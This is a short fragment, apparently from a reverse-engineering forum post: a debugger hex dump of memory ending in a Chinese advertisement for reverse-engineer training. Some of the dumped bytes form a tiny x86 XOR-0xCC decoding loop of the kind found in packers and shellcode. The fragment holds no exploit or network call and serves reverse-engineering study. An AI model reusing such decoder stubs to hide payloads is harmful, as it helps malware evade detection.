0023:00171327 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:001715A7 00 00 00 00 00 00 00 00-01 00 11 00 00 40 00 00 .............@..
0023:0017130C CC CC CC CC CC CC CC CC-CC 59 5E 2B CE 8B FE 56 .........Y^+...V
0023:0017131C AC 34 CC AA E2 FA C3 00-00 00 00 00 00 00 00 00 .4..............
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)